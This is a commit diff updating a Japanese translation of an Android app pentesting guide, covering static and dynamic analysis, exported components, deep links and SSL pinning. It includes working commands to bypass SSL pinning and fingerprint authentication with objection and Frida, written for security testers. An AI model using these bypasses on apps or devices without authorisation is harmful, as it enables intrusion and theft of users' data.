Translated ['src/mobile-pentesting/android-app-pentesting/README.md', 's

This commit is contained in:
Translator 2025-07-19 12:17:19 +00:00
parent 7575f57dd7
commit 21b8d7c07a
4 changed files with 246 additions and 142 deletions

View File

@ -348,6 +348,7 @@
- [Webview Attacks](mobile-pentesting/android-app-pentesting/webview-attacks.md)
- [iOS Pentesting Checklist](mobile-pentesting/ios-pentesting-checklist.md)
- [iOS Pentesting](mobile-pentesting/ios-pentesting/README.md)
- [Air Keyboard Remote Input Injection](mobile-pentesting/ios-pentesting/air-keyboard-remote-input-injection.md)
- [iOS App Extensions](mobile-pentesting/ios-pentesting/ios-app-extensions.md)
- [iOS Basics](mobile-pentesting/ios-pentesting/ios-basics.md)
- [iOS Basic Testing Operations](mobile-pentesting/ios-pentesting/basic-ios-testing-operations.md)

View File

@ -12,10 +12,10 @@ android-applications-basics.md
## ADB (Android Debug Bridge)
これは、Androidデバイスエミュレートされたものまたは物理的なもの)に接続するために必要な主なツールです。\
これは、Androidデバイスエミュレートまたは物理に接続するために必要な主なツールです。\
**ADB**は、コンピュータから**USB**または**ネットワーク**経由でデバイスを制御することを可能にします。このユーティリティは、**ファイルのコピー**、**アプリのインストール**と**アンインストール**、**シェルコマンドの実行**、**データのバックアップ**、**ログの読み取り**など、さまざまな機能を提供します。
adbの使い方を学ぶために、以下の[**ADB Commands**](adb-commands.md)のリストを確認してください。
以下の[**ADB Commands**](adb-commands.md)のリストを確認して、adbの使い方を学んでください。
## Smali
@ -25,7 +25,7 @@ adbの使い方を学ぶために、以下の[**ADB Commands**](adb-commands.md)
## Other interesting tricks
- [Play Storeでの位置情報の偽装](spoofing-your-location-in-play-store.md)
- [Shizuku Privileged APIADBベースの非ルート特権アクセス](shizuku-privileged-api.md)
- [Shizuku Privileged API (ADBベースの非ルート特権アクセス)](shizuku-privileged-api.md)
- [安全でないアプリ内更新メカニズムの悪用](insecure-in-app-update-rce.md)
- **APKのダウンロード**: [https://apps.evozi.com/apk-downloader/](https://apps.evozi.com/apk-downloader/), [https://apkpure.com/es/](https://apkpure.com/es/), [https://www.apkmirror.com/](https://www.apkmirror.com), [https://apkcombo.com/es-es/apk-downloader/](https://apkcombo.com/es-es/apk-downloader/), [https://github.com/kiber-io/apkd](https://github.com/kiber-io/apkd)
- デバイスからAPKを抽出:
@ -47,39 +47,45 @@ java -jar ../APKEditor.jar m -i splits/ -o merged.apk
# after merging, you will need to align and sign the apk, personally, I like to use the uberapksigner
java -jar uber-apk-signer.jar -a merged.apk --allowResign -o merged_signed
```
## ケーススタディと脆弱性
{{#ref}}
../ios-pentesting/air-keyboard-remote-input-injection.md
{{#endref}}
## 静的分析
まず、APKを分析するためには、**デコンパイラを使用してJavaコードを確認する必要があります**。\
詳細なデコンパイラについては、[**こちらをお読みください**](apk-decompilers.md)。
詳細な情報については、[**こちらをお読みください**](apk-decompilers.md)。
### 興味深い情報の探索
APKの**文字列**を確認するだけで、**パスワード**、**URL** ([https://github.com/ndelphit/apkurlgrep](https://github.com/ndelphit/apkurlgrep))、**API**キー、**暗号化**、**Bluetooth UUID**、**トークン**などの**興味深い情報**を探すことができます... コード実行の**バックドア**や認証バックドア(アプリハードコーディングされた管理者資格情報)も探してください。
APKの**文字列**を確認することで、**パスワード**、**URL** ([https://github.com/ndelphit/apkurlgrep](https://github.com/ndelphit/apkurlgrep))、**API**キー、**暗号化**、**Bluetooth UUID**、**トークン**などの**興味深い情報**を探すことができます... コード実行の**バックドア**や認証バックドア(アプリへのハードコーディングされた管理者資格情報)も探してください。
**Firebase**
**FirebaseのURL**に特に注意を払い、設定が不適切でないか確認してください。[Firebaseとは何か、どのように悪用するかについての詳細情報はこちら。](../../network-services-pentesting/pentesting-web/buckets/firebase-database.md)
**FirebaseのURL**に特に注意を払い、設定が不適切でないか確認してください。[Firebaseとは何か、そしてそれをどのように悪用するかについての詳細情報はこちら。](../../network-services-pentesting/pentesting-web/buckets/firebase-database.md)
### アプリケーションの基本理解 - Manifest.xml, strings.xml
アプリケーションの**_Manifest.xml_**および**_strings.xml_**ファイルの**検査は、潜在的なセキュリティ脆弱性を明らかにすることができます**。これらのファイルは、デコンパイラを使用するか、APKファイルの拡張子を.zipに変更して解凍することでアクセスできます。
アプリケーションの**_Manifest.xml_**および**_strings.xml_**ファイルの**検査は、潜在的なセキュリティ脆弱性を明らかにすることができます**。これらのファイルは、デコンパイラを使用するか、APKファイルの拡張子を.zipに変更してから解凍することでアクセスできます。
**Manifest.xml**から特定された**脆弱性**には以下が含まれます:
- **デバッグ可能なアプリケーション**: _Manifest.xml_ファイルでデバッグ可能として設定されたアプリケーション`debuggable="true"`)は、接続を許可するため、悪用のリスクがあります。デバッグ可能なアプリケーションを見つけて悪用する方法については、チュートリアルを参照してください。
- **バックアップ設定**: 機密情報を扱うアプリケーションには、`android:allowBackup="false"`属性を明示的に設定して、特にUSBデバッグが有効な場合にadbを介した不正なデータバックアップを防ぐ必要があります。
- **ネットワークセキュリティ**: _res/xml/_内のカスタムネットワークセキュリティ設定`android:networkSecurityConfig="@xml/network_security_config"`は、証明書ピンやHTTPトラフィック設定などのセキュリティ詳細を指定できます。特定のドメインに対してHTTPトラフィックを許可する例があります。
- **バックアップ設定**: 機密情報を扱うアプリケーションには、`android:allowBackup="false"`属性を明示的に設定する必要があります。これにより、USBデバッグが有効な場合にadbを介した不正なデータバックアップを防ぐことができます。
- **ネットワークセキュリティ**: _res/xml/_内のカスタムネットワークセキュリティ設定`android:networkSecurityConfig="@xml/network_security_config"`は、証明書ピンやHTTPトラフィック設定などのセキュリティ詳細を指定できます。特定のドメインに対してHTTPトラフィックを許可することが一例です。
- **エクスポートされたアクティビティとサービス**: マニフェスト内のエクスポートされたアクティビティとサービスを特定することで、悪用される可能性のあるコンポーネントを明らかにできます。動的テスト中のさらなる分析により、これらのコンポーネントを悪用する方法が明らかになります。
- **コンテンツプロバイダーとファイルプロバイダー**: 公開されたコンテンツプロバイダーは、不正アクセスやデータの変更を許可する可能性があります。ファイルプロバイダーの設定も注意深く確認する必要があります。
- **ブロードキャストレシーバーとURLスキーム**: これらのコンポーネントは悪用される可能性があり、特にURLスキームが入力脆弱性に対してどのように管理されているかに注意を払う必要があります。
- **コンテンツプロバイダーとファイルプロバイダー**: 公開されたコンテンツプロバイダーは、データへの不正アクセスや変更を許可する可能性があります。ファイルプロバイダーの設定も注意深く確認する必要があります。
- **ブロードキャストレシーバーとURLスキーム**: これらのコンポーネントは悪用される可能性があり、特に入力脆弱性に対するURLスキームの管理方法に注意を払う必要があります。
- **SDKバージョン**: `minSdkVersion``targetSDKVersion``maxSdkVersion`属性は、サポートされているAndroidバージョンを示し、セキュリティ上の理由から古い脆弱なAndroidバージョンをサポートしないことの重要性を強調します。
**strings.xml**ファイルからは、APIキー、カスタムスキーマ、その他の開発者ートなどの機密情報が発見される可能性があり、これらのリソースを注意深く確認する必要があります。
**strings.xml**ファイルからは、APIキー、カスタムスキーマ、その他の開発者ートなどの機密情報が発見される可能性があり、これらのリソースの注意深いレビューが必要です。
### タップジャッキング
**タップジャッキング**は、**悪意のある** **アプリケーション**が起動され、**被害者アプリケーションの上に位置する**攻撃です。被害者アプリを視覚的に隠すと、そのユーザーインターフェースはユーザーを騙してそれと対話させるように設計されており、実際には被害者アプリに対してその対話を渡しています。\
実際には、**ユーザーが被害者アプリでアクションを実行していることを知らないようにしています**。
**タップジャッキング**は、**悪意のある** **アプリケーション**が起動され、**被害者アプリケーションの上に位置する**攻撃です。被害者アプリを視覚的に隠すと、そのユーザーインターフェースはユーザーを騙してそれと対話させるように設計されており、その間にその対話を被害者アプリに渡します。\
実際には、**ユーザーが被害者アプリで実際にアクションを実行していることを知らないようにしています**。
詳細情報は以下を参照してください:
@ -89,7 +95,7 @@ tapjacking.md
### タスクハイジャック
**`launchMode`**が**`singleTask`**に設定され、`taskAffinity`が定義されていない**アクティビティ**は、タスクハイジャックに対して脆弱です。これは、**アプリケーション**がインストールされ、実際のアプリケーションの前に起動されると、**実際のアプリケーションのタスクをハイジャックする**可能性があることを意味します(つまり、ユーザーは**悪意のあるアプリケーションと対話していると思っている**)。
**`launchMode`**が**`singleTask`**に設定され、`taskAffinity`が定義されていない**アクティビティ**は、タスクハイジャックに対して脆弱です。これは、**アプリケーション**がインストールされ、実際のアプリケーションの前に起動されると、**実際のアプリケーションのタスクをハイジャックする**可能性があることを意味します(ユーザーは**悪意のあるアプリケーションを使用していると思い込んでいる**)。
詳細情報は以下を参照してください:
@ -106,33 +112,33 @@ Androidでは、**内部**ストレージに**保存された**ファイルは
1. **静的分析:**
- `MODE_WORLD_READABLE`および`MODE_WORLD_WRITABLE`の使用が**注意深く検討されるべきです**。これらのモードは、**意図しないまたは不正なアクセス**にファイルを**さらす可能性があります**。
2. **動的分析:**
- アプリによって作成されたファイルに設定された**権限**を**確認**します。特に、ファイルが**全世界に対して読み取りまたは書き込み可能に設定されているか**を**チェック**します。これは重大なセキュリティリスクを引き起こす可能性があり、デバイスにインストールされた**任意のアプリケーション**が、出所や意図に関係なく、これらのファイルを**読み取ったり変更したり**できるようになります。
- アプリによって作成されたファイルに設定された**権限**を**確認**します。特に、ファイルが**全世界に読み取りまたは書き込み可能に設定されているか**を**チェック**します。これは重大なセキュリティリスクを引き起こす可能性があり、デバイスにインストールされた**任意のアプリケーション**が、出所や意図に関係なく、これらのファイルを**読み取ったり変更したり**できるようになります。
**外部ストレージ**
**外部ストレージ**上のファイルを扱う際には、いくつかの注意が必要です:
**外部ストレージ**SDカードなど上のファイルを扱う際には、いくつかの注意が必要です:
1. **アクセス可能性**:
- 外部ストレージ上のファイルは**全世界に対して読み取りおよび書き込み可能**です。つまり、任意のアプリケーションやユーザーがこれらのファイルにアクセスできます。
- 外部ストレージ上のファイルは**全世界に読み取りおよび書き込み可能**です。つまり、任意のアプリケーションやユーザーがこれらのファイルにアクセスできます。
2. **セキュリティの懸念**:
- アクセスの容易さを考慮すると、**機密情報を外部ストレージに保存しないことが推奨されます**。
- 外部ストレージは取り外し可能であり、任意のアプリケーションによってアクセスされる可能性があるため、セキュリティが低下します。
3. **外部ストレージからのデータ処理**:
- 外部ストレージから取得したデータに対しては常に**入力検証を行う**必要があります。これは、データが信頼できないソースからのものであるため、重要です。
- 外部ストレージから取得したデータに対しては常に**入力検証を行う**ことが重要です。これは、データが信頼できないソースからのものであるためです。
- 外部ストレージに実行可能ファイルやクラスファイルを保存して動的に読み込むことは強く推奨されません。
- アプリケーションが外部ストレージから実行可能ファイルを取得する必要がある場合、これらのファイルが**署名され、暗号的に検証されていることを確認**してから動的に読み込む必要があります。このステップは、アプリケーションのセキュリティの整合性を維持するために重要です。
- アプリケーションが外部ストレージから実行可能ファイルを取得する必要がある場合、これらのファイルが**署名され、暗号的に検証されていることを確認**してから動的に読み込むことが重要です。このステップは、アプリケーションのセキュリティの整合性を維持するために重要です。
外部ストレージは`/storage/emulated/0``/sdcard``/mnt/sdcard`で**アクセス可能**です。
> [!TIP]
> Android 4.4**API 17**以降、SDカードには、**アプリ専用のディレクトリへのアクセスを制限するディレクトリ構造**があります。これにより、悪意のあるアプリケーションが他のアプリのファイルに対して読み取りまたは書き込みアクセスを得ることが防止されます。
> Android 4.4**API 17**以降、SDカードにはアプリ専用のディレクトリ構造があり、**アプリからそのアプリ専用のディレクトリへのアクセスが制限されます**。これにより、悪意のあるアプリケーションが他のアプリのファイルに対して読み取りまたは書き込みアクセスを得ることが防止されます。
**平文で保存された機密データ**
- **共有設定**: Androidは各アプリケーションが`/data/data/<packagename>/shared_prefs/`パスにXMLファイルを簡単に保存できるようにしており、そのフォルダ内に平文で機密情報が見つかることがあります。
- **データベース**: Androidは各アプリケーションが`/data/data/<packagename>/databases/`パスにSQLiteデータベースを簡単に保存できるようにしており、そのフォルダ内に平文で機密情報が見つかることがあります。
### 壊れたTLS
### TLSの破損
**すべての証明書を受け入れる**
@ -156,7 +162,7 @@ A good way to test this is to try to capture the traffic using some proxy like B
### Other checks
- APKを**難読化する**ことを推奨します。これにより、攻撃者のリバースエンジニアリング作業が困難になります。
- アプリが機密性の高いものである場合(銀行アプリなど)、**モバイルがルート化されているかどうかを確認する独自のチェックを実行**し、それに応じて行動する必要があります。
- アプリが機密性の高いものである場合(銀行アプリなど)、**モバイルがルート化されているかどうかを確認する独自のチェックを実行**し、適切に対処する必要があります。
- アプリが機密性の高いものである場合(銀行アプリなど)、**エミュレーター**が使用されているかどうかを確認する必要があります。
- アプリが機密性の高いものである場合(銀行アプリなど)、**実行前に自身の整合性を確認**し、変更されていないかを確認する必要があります。
- [**APKiD**](https://github.com/rednaga/APKiD)を使用して、APKをビルドするために使用されたコンパイラ/パッカー/難読化ツールを確認します。
@ -268,34 +274,34 @@ You need to activate the **debugging** options and it will be cool if you can **
**Logging**
Developers should be cautious of exposing **debugging information** publicly, as it can lead to sensitive data leaks. The tools [**pidcat**](https://github.com/JakeWharton/pidcat) and `adb logcat` are recommended for monitoring application logs to identify and protect sensitive information. **Pidcat** is favored for its ease of use and readability.
開発者は、**デバッグ情報**を公開することに注意すべきです。これは機密データの漏洩につながる可能性があります。アプリケーションのログを監視して機密情報を特定し保護するために、[**pidcat**](https://github.com/JakeWharton/pidcat)と`adb logcat`を推奨します。**Pidcat**は使いやすさと可読性のために好まれます。
> [!WARNING]
> Note that from **later newer than Android 4.0**, **applications are only able to access their own logs**. So applications cannot access other apps logs.\
> Anyway, it's still recommended to **not log sensitive information**.
> **Android 4.0以降**、**アプリケーションは自分自身のログにのみアクセスできる**ことに注意してください。したがって、アプリケーションは他のアプリのログにアクセスできません。\
> それでも、**機密情報をログに記録しない**ことを推奨します。
**Copy/Paste Buffer Caching**
Androidの**クリップボードベース**のフレームワークは、アプリ内でのコピー&ペースト機能を可能にしますが、**他のアプリケーション**がクリップボードにアクセスできるため、機密データが漏洩するリスクがあります。クレジットカードの詳細など、アプリケーションの機密セクションでは**コピー/ペースト**機能を無効にすることが重要です。
Androidの**クリップボードベース**のフレームワークは、アプリ内でのコピー&ペースト機能を可能にしますが、**他のアプリケーション**がクリップボードにアクセスできるため、機密データが露出するリスクがあります。クレジットカードの詳細など、アプリケーションの機密セクションに対して**コピー/ペースト**機能を無効にすることが重要です。
**Crash Logs**
アプリケーションが**クラッシュ**し、**ログを保存**する場合、これらのログは攻撃者に役立つ可能性があります。特にアプリケーションがリバースエンジニアリングできない場合はそうです。このリスクを軽減するために、クラッシュ時にログを記録しないようにし、ログをネットワーク経由で送信する必要がある場合は、SSLチャネルを介して送信されることを確認してください。
As pentester, **try to take a look to these logs**.
ペンテスターとして、**これらのログを確認することをお勧めします**。
**Analytics Data Sent To 3rd Parties**
アプリケーションは、Google Adsenseなどのサービスを統合することが多く、開発者による不適切な実装により機密データが**漏洩する**可能性があります。潜在的なデータ漏洩を特定するために、アプリケーションのトラフィックを**インターセプト**し、第三者サービスに送信される機密情報がないかを確認することをお勧めします。
アプリケーションは、Google Adsenseのようなサービスを統合することが多く、開発者による不適切な実装により機密データが**漏洩する**可能性があります。潜在的なデータ漏洩を特定するために、**アプリケーションのトラフィックを傍受し**、第三者サービスに送信される機密情報がないかを確認することをお勧めします。
### SQLite DBs
Most of the applications will use **internal SQLite databases** to save information. During the pentest take a **look** to the **databases** created, the names of **tables** and **columns** and all the **data** saved because you could find **sensitive information** (which would be a vulnerability).\
Databases should be located in `/data/data/the.package.name/databases` like `/data/data/com.mwr.example.sieve/databases`
ほとんどのアプリケーションは、情報を保存するために**内部SQLiteデータベース**を使用します。ペンテスト中は、作成された**データベース**、**テーブル**と**カラム**の名前、保存されたすべての**データ**を確認してください。機密情報を見つけることができるかもしれません(これは脆弱性となります)。\
データベースは`/data/data/the.package.name/databases`に位置し、例えば`/data/data/com.mwr.example.sieve/databases`のようになります。
If the database is saving confidential information and is **encrypted b**ut you can **find** the **password** inside the application it's still a **vulnerability**.
データベースが機密情報を保存しており、**暗号化されている**が、アプリケーション内に**パスワード**が見つかる場合、それでも**脆弱性**です。
Enumerate the tables using `.tables` and enumerate the columns of the tables doing `.schema <table_name>`
`.tables`を使用してテーブルを列挙し、`.schema <table_name>`を使用してテーブルのカラムを列挙します。
### Drozer (Exploit Activities, Content Providers and Services)
@ -309,7 +315,7 @@ Also remember that the code of an activity starts in the **`onCreate`** method.
**Authorisation bypass**
When an Activity is exported you can invoke its screen from an external app. Therefore, if an activity with **sensitive information** is **exported** you could **bypass** the **authentication** mechanisms **to access it.**
Activityがエクスポートされると、外部アプリからその画面を呼び出すことができます。したがって、**機密情報**を含むActivityが**エクスポート**されている場合、**認証**メカニズムを**バイパス**してアクセスすることができます。
[**Learn how to exploit exported activities with Drozer.**](drozer-tutorial/index.html#activities)
@ -320,10 +326,10 @@ You can also start an exported activity from adb:
```bash
adb shell am start -n com.example.demo/com.example.test.MainActivity
```
**注意**: MobSFは、アクティビティの`android:launchMode`における_**singleTask/singleInstance**_の使用を悪意のあるものとして検出しますが、[これ](https://github.com/MobSF/Mobile-Security-Framework-MobSF/pull/750)によると、これは古いバージョンAPIバージョン< 21でのみ危険なようです
**注意**: MobSFは、アクティビティの`android:launchMode`における_**singleTask/singleInstance**_の使用を悪意のあるものとして検出しますが、[これ](https://github.com/MobSF/Mobile-Security-Framework-MobSF/pull/750)によると、これは古いバージョンAPIバージョン<21でのみ危険なようです
> [!TIP]
> 認証バイパスは常に脆弱性ではないことに注意してください。バイパスの動作とどの情報が公開されているかによります。
> 認証バイパスは常に脆弱性ではないことに注意してください。バイパスの動作とどの情報が公開されるかによります。
**機密情報の漏洩**
@ -331,26 +337,26 @@ adb shell am start -n com.example.demo/com.example.test.MainActivity
#### タップジャッキング
タップジャッキングが防止されていない場合、エクスポートされたアクティビティを悪用して**ユーザーに予期しないアクションを実行させる**ことができます。タップジャッキングについての詳細は[**こちらのリンクを参照してください**](#tapjacking)。
タップジャッキングが防止されていない場合、エクスポートされたアクティビティを悪用して**ユーザーに予期しないアクションを実行させる**ことができます。タップジャッキングについての詳細は[**こちらのリンクを参照してください**](#tapjacking)。
### コンテンツプロバイダーの悪用 - 機密情報へのアクセスと操作
[**コンテンツプロバイダーについて復習したい場合は、こちらをお読みください。**](android-applications-basics.md#content-provider)\
[**コンテンツプロバイダーとは何かを再確認したい場合は、こちらをお読みください。**](android-applications-basics.md#content-provider)\
コンテンツプロバイダーは基本的に**データを共有する**ために使用されます。アプリに利用可能なコンテンツプロバイダーがある場合、そこから**機密データを抽出**できるかもしれません。また、**SQLインジェクション**や**パストラバーサル**の可能性をテストすることも興味深いです。これらは脆弱である可能性があります。
[**Drozerを使用してコンテンツプロバイダーを悪用する方法を学びましょう。**](drozer-tutorial/index.html#content-providers)
### **サービスの悪用**
[**サービスについて復習したい場合は、こちらをお読みください。**](android-applications-basics.md#services)\
[**サービスとは何かを再確認したい場合は、こちらをお読みください。**](android-applications-basics.md#services)\
サービスのアクションは`onStartCommand`メソッドで始まることを覚えておいてください。
サービスは基本的に**データを受信**し、**処理**し、**応答**(またはしない)を返すことができるものです。したがって、アプリケーションがいくつかのサービスをエクスポートしている場合は、**コードを確認**して何をしているのかを理解し、**動的にテスト**して機密情報を抽出したり、認証手段をバイパスしたりする必要があります。\
サービスは基本的に**データを受信**し、**処理**し、**応答**(またはしない)を返すものです。したがって、アプリケーションがいくつかのサービスをエクスポートしている場合は、**コードを確認**して何をしているのかを理解し、**動的にテスト**して機密情報を抽出したり、認証手段をバイパスしたりする必要があります。\
[**Drozerを使用してサービスを悪用する方法を学びましょう。**](drozer-tutorial/index.html#services)
### **ブロードキャストレシーバーの悪用**
[**ブロードキャストレシーバーについて復習したい場合は、こちらをお読みください。**](android-applications-basics.md#broadcast-receivers)\
[**ブロードキャストレシーバーとは何かを再確認したい場合は、こちらをお読みください。**](android-applications-basics.md#broadcast-receivers)\
ブロードキャストレシーバーのアクションは`onReceive`メソッドで始まることを覚えておいてください。
ブロードキャストレシーバーは、特定のメッセージを待機しています。レシーバーがメッセージをどのように処理するかによって、脆弱である可能性があります。\
@ -372,7 +378,7 @@ _パッケージ名を**省略する**ことができ、モバイルは自動的
```
**実行されるコード**
**アプリで実行されるコードを見つけるために**、ディープリンクによって呼び出されるアクティビティに移動し、関数**`onNewIntent`**を検索します。
**アプリで実行されるコード**を見つけるために、ディープリンクによって呼び出されるアクティビティに移動し、関数**`onNewIntent`**を検索します。
![](<../../images/image (436) (1) (1) (1).png>)
@ -387,7 +393,7 @@ _パッケージ名を**省略する**ことができ、モバイルは自動的
**さらなる例**
リンクに関する[興味深いバグバウンティレポート](https://hackerone.com/reports/855618)_/.well-known/assetlinks.json_
リンクに関する[興味深いバグバウンティレポート](https://hackerone.com/reports/855618) (_/.well-known/assetlinks.json_)
### トランスポート層の検査と検証の失敗
@ -415,15 +421,15 @@ HTTPトラフィックを検査するには、**プロキシツールの証明
SSLピンニングが実装されている場合、HTTPSトラフィックを検査するためにそれをバイパスする必要があります。この目的のためにさまざまな方法があります
- **apkを自動的に修正**してSSLピンニングを**バイパス**するには、[**apk-mitm**](https://github.com/shroudedcode/apk-mitm)を使用します。このオプションの最大の利点は、SSLピンニングをバイパスするためにルートが必要ないことですが、アプリケーションを削除して新しいものを再インストールする必要があり、これが常に機能するわけではありません。
- **Frida**を使用してこの保護をバイパスすることもできます(以下で説明)。Burp+Frida+Genymotionを使用するためのガイドはこちらです[https://spenkk.github.io/bugbounty/Configuring-Frida-with-Burp-and-GenyMotion-to-bypass-SSL-Pinning/](https://spenkk.github.io/bugbounty/Configuring-Frida-with-Burp-and-GenyMotion-to-bypass-SSL-Pinning/)
- **objection**を使用してSSLピンニングを**自動的にバイパス**することも試みることができます:`objection --gadget com.package.app explore --startup-command "android sslpinning disable"`
- **MobSF動的分析**を使用してSSLピンニングを**自動的にバイパス**することも試みることができます(下で説明)。
- 自動的に**apkを修正**してSSLピンニングを**バイパス**するには、[**apk-mitm**](https://github.com/shroudedcode/apk-mitm)を使用します。このオプションの最大の利点は、SSLピンニングをバイパスするためにルートが必要ないことですが、アプリケーションを削除して新しいものを再インストールする必要があり、これが常に機能するわけではありません。
- **Frida**を使用してこの保護をバイパスすることもできます。Burp+Frida+Genymotionを使用するためのガイドはこちらです[https://spenkk.github.io/bugbounty/Configuring-Frida-with-Burp-and-GenyMotion-to-bypass-SSL-Pinning/](https://spenkk.github.io/bugbounty/Configuring-Frida-with-Burp-and-GenyMotion-to-bypass-SSL-Pinning/)
- **objection**を使用してSSLピンニングを**自動的にバイパス**することもできます:`objection --gadget com.package.app explore --startup-command "android sslpinning disable"`
- **MobSF動的分析**を使用してSSLピンニングを**自動的にバイパス**することも試みることができます(下で説明)。
- まだキャプチャしていないトラフィックがあると思われる場合は、**iptablesを使用してトラフィックをburpに転送**することを試みることができます。このブログを読んでください:[https://infosecwriteups.com/bypass-ssl-pinning-with-ip-forwarding-iptables-568171b52b62](https://infosecwriteups.com/bypass-ssl-pinning-with-ip-forwarding-iptables-568171b52b62)
#### 一般的なWeb脆弱性の検索
アプリケーション内で一般的なWeb脆弱性を検索することも重要です。これらの脆弱性を特定し、軽減するための詳細情報はこの要約の範囲を超えていますが、他の場所で広範にカバーされています。
アプリケーション内で一般的なWeb脆弱性を検索することも重要です。これらの脆弱性を特定し、軽減するための詳細情報はこの要約の範囲を超えていますが、他の場所で広範にカバーされています。
### Frida
@ -431,8 +437,8 @@ SSLピンニングが実装されている場合、HTTPSトラフィックを検
**実行中のアプリケーションにアクセスし、実行時にメソッドをフックして動作を変更したり、値を変更したり、値を抽出したり、異なるコードを実行したりできます...**\
Androidアプリケーションをペンテストするには、Fridaの使い方を知っておく必要があります。
- Fridaの使い方を学ぶ[**Fridaチュートリアル**](frida-tutorial/index.html)
- Fridaでのアクション用の「GUI」[**https://github.com/m0bilesecurity/RMS-Runtime-Mobile-Security**](https://github.com/m0bilesecurity/RMS-Runtime-Mobile-Security)
- Fridaの使い方を学ぶ [**Fridaチュートリアル**](frida-tutorial/index.html)
- Fridaを使ったアクションのための「GUI」 [**https://github.com/m0bilesecurity/RMS-Runtime-Mobile-Security**](https://github.com/m0bilesecurity/RMS-Runtime-Mobile-Security)
- OjectionはFridaの使用を自動化するのに最適です[**https://github.com/sensepost/objection**](https://github.com/sensepost/objection) **,** [**https://github.com/dpnishant/appmon**](https://github.com/dpnishant/appmon)
- ここで素晴らしいFridaスクリプトを見つけることができます[**https://codeshare.frida.re/**](https://codeshare.frida.re)
- [https://erfur.github.io/blog/dev/code-injection-without-ptrace](https://erfur.github.io/blog/dev/code-injection-without-ptrace)に示されているようにFridaを読み込んで、アンチデバッグ/アンチFridaメカニズムをバイパスしてみてくださいツール[linjector](https://github.com/erfur/linjector-rs))。
@ -466,7 +472,7 @@ frida -U -f com.example.app -l frida-scripts/tracer-cipher.js
```
### **指紋/生体認証バイパス**
次のFridaスクリプトを使用することで、Androidアプリケーションが特定の機密領域を保護するために行っている**指紋認証をバイパス**することが可能になるかもしれません:
次のFridaスクリプトを使用することで、Androidアプリケーションが特定の機密領域を保護するために実行している**指紋認証をバイパス**することが可能になるかもしれません:
```bash
frida --codeshare krapgras/android-biometric-bypass-update-android-11 -U -f <app.package>
```
@ -474,11 +480,11 @@ frida --codeshare krapgras/android-biometric-bypass-update-android-11 -U -f <app
アプリケーションをバックグラウンドに置くと、Androidはアプリケーションの**スナップショット**を保存します。これにより、フォアグラウンドに復帰したときにアプリがより早く読み込まれているように見えます。
しかし、このスナップショットに**機密情報**が含まれている場合、スナップショットにアクセスできる誰かがその情報を**盗む可能性**がありますアクセスするにはrootが必要です)。
しかし、このスナップショットに**機密情報**が含まれている場合、スナップショットにアクセスできる誰かがその情報を**盗む**可能性があります(アクセスするにはルート権限が必要です)。
スナップショットは通常、次の場所に保存されます: **`/data/system_ce/0/snapshots`**
Androidは、FLAG_SECUREレイアウトパラメータを設定することで**スクリーンショットのキャプチャを防ぐ**方法を提供します。このフラグを使用すると、ウィンドウの内容は安全と見なされ、スクリーンショットに表示されたり、非安全なディスプレイで表示されたりするを防ぎます。
Androidは、FLAG_SECUREレイアウトパラメータを設定することで**スクリーンショットのキャプチャを防ぐ**方法を提供します。このフラグを使用すると、ウィンドウの内容は安全と見なされ、スクリーンショットに表示されたり、非安全なディスプレイで表示されたりすることを防ぎます。
```bash
getWindow().setFlags(LayoutParams.FLAG_SECURE, LayoutParams.FLAG_SECURE);
```
@ -504,9 +510,9 @@ getWindow().setFlags(LayoutParams.FLAG_SECURE, LayoutParams.FLAG_SECURE);
おそらく、あなたはウェブからこの種の脆弱性について知っているでしょう。Androidアプリケーションにおいては、これらの脆弱性に特に注意する必要があります
- **SQL Injection:** 動的クエリやコンテンツプロバイダーを扱う際は、パラメータ化されたクエリを使用していることを確認してください。
- **JavaScript Injection (XSS):** すべてのWebViewに対してJavaScriptおよびプラグインサポートが無効になっていることを確認してください(デフォルトで無効)。 [More info here](webview-attacks.md#javascript-enabled).
- **JavaScript Injection (XSS):** すべてのWebViewに対してJavaScriptとプラグインのサポートが無効になっていることを確認してください(デフォルトで無効)。 [More info here](webview-attacks.md#javascript-enabled).
- **Local File Inclusion:** WebViewはファイルシステムへのアクセスを無効にする必要がありますデフォルトで有効 - `(webview.getSettings().setAllowFileAccess(false);)`。 [More info here](webview-attacks.md#javascript-enabled).
- **Eternal cookies**: Androidアプリケーションがセッションを終了するとき、クッキーが取り消されない場合や、ディスクに保存される可能性があります。
- **Eternal cookies**: Androidアプリケーションがセッションを終了するとき、クッキーが取り消されない場合や、ディスクに保存されることがあります。
- [**Secure Flag** in cookies](../../pentesting-web/hacking-with-cookies/index.html#cookies-flags)
---
@ -525,16 +531,16 @@ docker pull opensecurity/mobile-security-framework-mobsf
docker run -it -p 8000:8000 opensecurity/mobile-security-framework-mobsf:latest
```
MobSFは**Android**(apk)**、IOS**(ipa) **およびWindows**(apx)アプリケーションを分析できます_Windowsアプリケーションは、WindowsホストにインストールされたMobSFから分析する必要があります_。\
また、**Android**または**IOS**アプリのソースコード**ZIP**ファイルを作成するとアプリケーションのルートフォルダーに移動し、すべてを選択してZIPファイルを作成、それも分析できます。
また、**Android**または**IOS**アプリのソースコードを含む**ZIP**ファイルを作成するとアプリケーションのルートフォルダーに移動し、すべてを選択してZIPファイルを作成、それも分析できます。
MobSFは、**diff/Compare**分析を行い、**VirusTotal**を統合することも可能です_MobSF/settings.py_にAPIキーを設定し、次のように有効にする必要があります`VT_ENABLED = TRUE` `VT_API_KEY = <Your API key>` `VT_UPLOAD = TRUE`)。`VT_UPLOAD``False`に設定すると、**ハッシュ**がファイルの代わりに**アップロード**されます。
MobSFはまた、**diff/Compare**分析を行い、**VirusTotal**を統合することも可能です_MobSF/settings.py_にAPIキーを設定し、次のように有効にする必要があります: `VT_ENABLED = TRUE` `VT_API_KEY = <Your API key>` `VT_UPLOAD = TRUE`)。`VT_UPLOAD``False`に設定すると、**ハッシュ**がファイルの代わりに**アップロード**されます。
### MobSFによる支援された動的分析
**MobSF**は**Android**における**動的分析**にも非常に役立ちますが、その場合はホストにMobSFと**genymotion**をインストールする必要がありますVMやDockerでは動作しません。_注:最初に**genymotionでVMを起動**し、**その後MobSFを起動する必要があります。_\
**MobSF動的アナライザー**は以下を行うことができます:
**MobSF**は**Android**における**動的分析**にも非常に役立ちますが、その場合はホストにMobSFと**genymotion**をインストールする必要がありますVMやDockerでは動作しません。_注: まず**genymotionでVMを起動**し、**その後MobSFを起動する必要があります。**_\
**MobSF動的アナライザー**は以下ことができます:
